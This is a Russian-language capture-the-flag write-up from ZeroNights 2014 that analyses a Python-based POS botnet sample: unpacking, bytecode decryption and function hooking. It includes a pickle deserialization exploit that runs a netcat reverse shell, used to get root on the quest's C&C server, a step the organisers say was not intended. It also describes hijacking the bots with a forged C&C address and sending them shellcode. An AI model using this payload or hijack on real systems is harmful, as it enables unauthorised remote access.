Конференция ZeroNights 2014 — как все было
On one of Moscow’s pos-terminals were found sample of malware of some functioning botnet network…
Нам дан архив с тремя файлами. Среди которых стандартная библиотека C, файл лицензионного соглашения и exe файл неизвестного содержания.Посмотрев исполняемый файл, можно сделать несколько выводов о нем:
в оверлее zip архив упакован upx файл создан программой py2exe Убираем upx и смотрим в ресурсы, забираем от туда PYTHONSCRIPT и python27.dll.В принципе, на этом работу с основным exe можно считать оконченной, он не содержит интересующего нас кода, кроме быть может инструкции по адресу base+0×1361 (ну или где-то рядом), на которой имеет смысл поставить точку останова (момент окончания загрузки библиотеки python27.dll).
Как мы уже указали ранее, библиотека из ресурсов загружается на исполнение (без копирования на диск, «вручную»), причем база загрузки постоянна (стандартная из заголовка) и будет меняться только если желаемый регион памяти занят.Zip архив не содержит ничего нужного нам, там только скомпилированные pyc файлы от стандартных библиотек питона.
Следующее, что нужно сделать, это распаковать PYTHONSCRIPT, созданный программой py2exe. Мне больше всего приглянулась программа unpy2exe [1]. Однако просто взять и распаковать не выйдет. Байткод зашифрован.Были скачаны исходники соответствующей версии питона и найдена функция чтения байт кода.В исходниках .\Python\marshal.c функция r_object случай TYPE_CODE:
argcount = (int)r_long (p); nlocals = (int)r_long (p); stacksize = (int)r_long (p); flags = (int)r_long (p); code = r_object (p); consts = r_object (p); names = r_object (p);
Разобрав соответствующий кусочек кода (1E124520 == r_object) из dll получим:
argcount = (int)r_long (p); nlocals = (int)r_long (p); stacksize = (int)r_long (p); flags = (int)r_long (p); unsigned int secret_key = (unsigned int)r_long (p); unsigned int secret_size = (unsigned int)r_long (p); DWORD * secret_buffer = 0; if (secret_size <= 0x7FFFFFFF ) secret_buffer = (DWORD *)malloc(secret_size); memset(secret_buffer, 0, secret_size); } for ( i = 0; i < secret_size / 4; i++ ) secret_buffer[i] = r_long(p);
объект decoded_code получает ссылку на secret_buffer;
decode_bytecode (secret_size, secret_key, secret_buffer, secret_size / 4); code = r_object (decoded_code); if (code) { consts = r_object (p); names = r_object (p);
По константе 0×6611CB3B в функции decode_bytecode, находим алгоритм [2].Примерно в это же время была опубликована подсказка в виде незашифрованного PYTHONSCRIPT, который успешно был проглочен unpy2exe распаковавшим два pyc файла. С помощью EasyPythonDecompiler декомпилируем их в py файлы.Файл с пробелами (space) в названии нам не нужен, в то время как P429.py выглядит достаточно интересно: <файл P429.py>В первую очередь из данного кода мы получаем условия, выполнение которых хочет бот, для добавления адреса в HostStack. Обратим внимание на вызовы функций V9wP.O4Ik, Te8D.EqjC, T4a5.b3SS.decrypt. В zip архиве нет файлов, содержащих их объявления. Они скомпилированы в python27.dll (так называемые cython модули).
По строковым константам были определены их адреса:
1E012F20 Te8D.EqjC Gate 1E00F570 Te8D.EqjC Impl 1E00DA40 T4a5.b3SS.decrypt Gate 1E009820 T4a5.b3SS.decrypt Impl 1E021760 V9wP.O4Ik.__init__ Gate 1E017030 V9wP.O4Ik.__init__ Impl Gate — функция в которой фигурирует вызов адреса 0×1E0256A0 с передачей имени функции в качестве параметра, а так же происходит вызов соответствующей Impl.Impl — реализация данной функции.Функция по адресу 0×1E0256A0, поможет найти все cython функции (у всех есть Gate, который её вызывает).Попытавшись трассировать эти функции мы сталкиваемся с проблемой представления данных в питоне, а именно с типом PyObject*, глядя на который в отладчике, сложно сразу сказать, что перед тобой находится функция, класс, число, строка или кортеж.Решение данной проблемы было найдено в виде функции void _PyObject_Dump (PyObject *op) по адресу 0×1E0CD0B0. Все, что она делает — это выводит информацию о переданном объекте: содержимое, тип, число ссылок на него и адрес. Но самое главное в том, что вывод идет в консоль самого приложения.Был написан следующий код для Multiline Ultimate Assembler [4]:
<1E01304A> JMP 1E13DF9D; tuple <1E00DBDB> JMP 1E13DF9D; b3SS.decrypt <1E00D85C> JMP 1E13DF9D; b3SS.hash <1E00DA0B> JMP 1E13DF9D; b3SS.encrypt <1E00DDA6> JMP 1E13DF9D; b3SS.auth <1E012F1B> JMP 1E13DF9D; lambda <1E02175B> JMP 1E13DF9D; lambda <1E0240EB> JMP 1E13DF9D; cexec <1E024210> JMP 1E13DF9D; load <1E02438F> JMP 1E13DF9D; inj <1E0244E0> JMP 1E13DF9D; is64p <1E024EA6> JMP 1E13DF9D; req <1E025110> JMP 1E13DF9D; console <1E0237DB> JMP 1E13DF9D; mask <1E026FCF> JMP 1E13DF9D; __init__ <1E02718A> JMP 1E13DF9D; __init__ <1E13DF9D> MOV ESP, EBP POP EBP PUSHAD PUSH EAX CALL 1E0CD0B0; return value POP EAX PUSH DWORD PTR SS:[ESP+28] CALL 1E0CD0B0; function arguments as tuple POP EAX PUSH DWORD PTR SS:[ESP+24] CALL 1E0CD0B0; function itself POP EAX POPAD RETN
Учитывая, что библиотека питона грузится всегда по одному и тому же адресу, патчить код в multiasm становится очень удобно. В данном случае мы перехватываем управление у некоторых функций в момент выхода и выводим результат работы, переданные аргументы в виде картежа (они так к нам приходят) и название функции.Функции для перехвата были выбраны случайным образом, какого-то особого смысла в выборе конкретно этих нет. Еще стоит заметить, что перехват сделал не совсем аккуратно, для некоторых функций после которых нет выравнивающих INT3, может произойти повреждение начала следующей функции. У меня за все время ничего не падало по этому поводу, но стоит иметь в виду, что это возможно.Лог получится в результате работы достаточно большой, отметим несколько самых интересных записей.
'#ZN0×04_KuTweIsyfoPvoPxury', '[4a8c04]', »\xcc\xbb\xe0\xef\xed\x1eu\xa4\xd9'j+?\xbe5\x9b\x88\xdf\xcd\xc7m\x1a\xef\xbd\xa4\x9c\xf2\xd3\xea\xe9\xa7» )
Результат работы функции Te8D.EqjC, те самые (ff_hash, ff_code, ff_key).
object: 'http://*.*.*.*:808/bahgvsj/'Значение ff_host, после выполнения ff_host = b3SS ().decrypt (ff_text, self.ff_key, self.ff_code).lower ()
object: 'CMD_GET_BGP_NSAP_DAMPENED_PATHS' object: 'CMD_MAKE_METRIC_TYPE_INTERNAL' object:»%PDF-1.5\n%\xd0\xd4\xc5\xd8\n1 0 obj\n<< /S /GoTo /D (section*.2) >> … Несколько расшифрованных строк.
object:»\x15\xeb:\xbc\x96\x00ccopy_reg\n_reconstructor\np0\n (cxkQr\nqr8D\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n (dp5\nS’cmd'\np6\nI13\nsS’params'\np7\nS'2acf6d10631875df4d806ba5e0d6bfb9'\np8\nsb.»
object: (
The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source [5].
import pickle import socket import os class payload (object): def __reduce__(self): comm = «rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0/tmp/shell» return (os.system, (comm,)) payload = pickle.dumps (payload ()) print repr (payload) Получаем строчку готовую к отправке на сервер.
«cposix\nsystem\np0\n (S’rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0/tmp/shell'\np1\ntp2\nRp3\n.» Теперь нужно подменить данные уходящие от нас. Наиболее простым показался перехват функции pickle.dumps по адресу 0×1E050C40, а для того, чтобы вернуть строчку в виде PyObject* воспользуемся еще одной замечательной функцией питона PyObject* PyString_FromString (const char *v) по адресу 0×1E0D4B80.Таким образом, наш патч принимает вид (по адресу 0×1E13DEC3 была записана строчка):
<1E050C40> JMP 1E13DE9B; pickle.dumps <1E13DE9B> PUSHAD PUSH 1E13DEC3 CALL 1E0D4B80 ADD ESP,4 MOV DWORD PTR SS:[ESP+1C], EAX POPAD RETN Запускаем бота, применяем патч и ждем входящего соединения… и дожидаемся :)Итак мы получили доступ к командной строке сервера, а whoami показала, что мы root (!!!).Стоит отметить, что симметричный баг присутствует и на клиенте, но учитывая наличие возможности выполнять шэлкод пользоваться этим нет особого смысла.На удивление flag.txt радом со скриптами сервера не оказалось, как в прочем и внутри скриптов ничего похожего на флаг тоже, поиск по серверу никаких результатов не принес. Были скопированы все скрипты, некоторые конфиги и логи. Создал файлик со своим email рядом со скриптами и напоследок решил попробовать сделать дамп memcached (скрипт сервера его юзал). Однако сервер ушел в аут и больше не поднимался (либо его выключили, либо я перестарался).Позже разговаривая с создателями квеста в IRС, на моё удивление выяснилось, что взлом этого сервера не предполагался в принципе, а задача состоит совсем в другом.Там же была получена подсказка о «необходимости оценить количество зараженных машин», следовательно сервер нужно было теперь поднять сервер у себя и «закинуть оповещение» ботам.С этого момента начинается использование «читерского» сервера и задача в дальнейшем изучении скомпилированных функций в боте отпадает практически полностью. Однако из-за того что я далеко не сразу догадался, что конкретно нужно было забрать с зараженных терминалов, я все же разобрал некоторые его основные функции. По этому, сейчас сделаем небольшое лирическое отступление и расскажем о принципах работы бота которые не имеют особого значения для получения ответа, но просто интересны.Команды известные боту. Хотя сервер и реализовывал некоторые команды, такие как вывод сообщений пользователю, загрузка и выполнение шэлкода, получение списка процесса оставалось сомнение, а все ли это команды поддерживаемые ботом. Ответ был найден в функции O4Ik.cexec по адресу 0×1E018350. Там выполнялась расшифровка строк — названий команд и добавление их в список, после чего по пришедшему от сервера индексу проверялось есть ли функция реализующая данную команду и если такая находилась, то она выполнялась. Приведем список всех теоретически поддерживаемых команд.А в статье [6], был найден пример такой эксплуатации.Модифицируем его под себя и сериализуем.
1: 'CMD_GET_ROUTER_BGP',2: 'CMD_MAKE_TRAFFIC_INDEX',3: 'CMD_MAKE_METRIC',4: 'CMD_GET_BGP_NSAP_PATHS',5: 'CMD_GET_REDISTRIBUTE_DVMRP',6:
Как мы видим реализовано лишь несколько:
6:
Новых команд не нашлось.Инжект работал по схеме OpenProcess + WriteProcessMemory + CreateRemoteThread.Получение списка процессов было сделано через ToolHelp32.Кодирование строк было обычным побайтовым xor, но для каждой строки был свой байт-ключ. К тому же немного усложняло ручную расшифровку то, что байт-ключ был PyObject* инициализировавшийся в отдельной функции. Закодированные строки хранились как картеж из двух элементов: массив байт строки и ключ.Данные передаваемые на сервер маскировались под файлы некоторых известных форматов: png, gif и pdf (функции mask/unmask).Возвращаемся на путь к получения флага.В первую очередь нужно было научиться передавать ботам информацию о своем сервере. Так как у нас уже есть скрипт P429.py (который мы получили декомпиляций), а так-же реализация алгоритма encrypt из трофейного сервера (хотя её можно было использовать и из имеющегося python27.dll) мы можем легко кодировать адрес своего сервера в ожидаемый ботом вид.В итоге имеем код который выдает нам псевдоним пользователя и сообщение:
name = string_generator (7); url = «http://*.*.*.*:808/»+name+»/» ff_code, ff_hash, ff_key = twGen (16) spritz = spritz.Spritz () print sub ('=', '', base64.b32encode (spritz.encrypt (url, ff_key, ff_hash))).strip (),» i’m back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va sjyxizwtxv con mycydqpj », ff_code print name, ff_hash
Регистрируемся на friendfeed.com, выставляем соответствующий псевдоним и отправляем сообщение.Два бота попытаются соединиться с указанным сервером. Оба находятся за NAT и у них одинаковый IP.Сначала стоит попытаться запустить удаленную консоль, однако это не сработает, так как мы не можем создавать новые процессы.В таком случае нам необходимо написать простенькую программу для путешествия по серверу. Хотелось поддержки следующих функций:
вывод файлов и папок в текущей директории (ls) переход между директориями (cd) вывод содержимого файла в консоль (cat) вывод имени компьютера (who) Реализация приведена в файле backCmd.c. Код написан для Visual Studio, компилировать нужно с отключенными проверками безопастности (они лишний импорт подтягивают), возможно нужно включить или выключить что-то еще (никакого импорта и никаких релокаций в файле быть не должно).После сборки, забираем секцию .text из файла и отправляем её на сервер и ждем соединения.Просмотрев файловую систему замечаем: аналог имеющегося у нас бота в папке C:/Users/pos-user/AppData/LocalLow/zn_bot/ программа pos_1 в папке C:/Users/pos-user/AppData/LocalLow/pos_bot/ дампы переданных наши шэлов в C:/Windows/shell_storage/ через пару минут происходит завершение процесса и мы теряем соединение с шэлом Бот который находился на сервере отличается от нашего только наличием вывода некоторой информации о процессе поиска C&C сервера в консоль.pos_1.exe тоже не представляет интереса, так как просто в цикле раз в пару секунд выводит кредитсы ZeroNights.Из C:/Windows/shell_storage/ я выбрал пол десятка случайных файлов и скачал, все оказались моим шел кодом, по этому изучение этой папки было оставлено на потом.По началу я не придал значению тому, что бот рестартился через определённое время, списав это на техническую реализацию задания, однако позже к этому пришлось вернуться и найти процесс, который этим занимается — task_mon.exe.Посмотрев этот файл сразу стало понятно где находится флаг и уже ничего не стоило его забрать.
Учитывая, что программа запускает два процесса, взглянем на следующий код, чтобы понять в памяти какого именно процесса нужно искать флаг.
Теперь наша цель — процесс pos_1.exe.Напишем шэлкод, который перечислит все участки памяти и найдет те, которые совпадут по размеру, типу и протекции с искомым.Код представлен в файле getFlag.с.Загружаем это на терминал и получаем дамп нескольких участков памяти среди которых видим строчку-флаг:
ZN0×04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5} Ссылки:[1] github.com/matiasb/unpy2exe[2] github.com/rumpeltux/dropboxdec[3] sourceforge.net/projects/easypythondecompiler/[4] rammichael.com/multimate-assembler[5] docs.python.org/2/library/pickle.html[6] blog.nelhage.com/2011/03/exploiting-pickle/
Файлы — hackquest.zeronights.ru/downloads/zn_no_exe.zip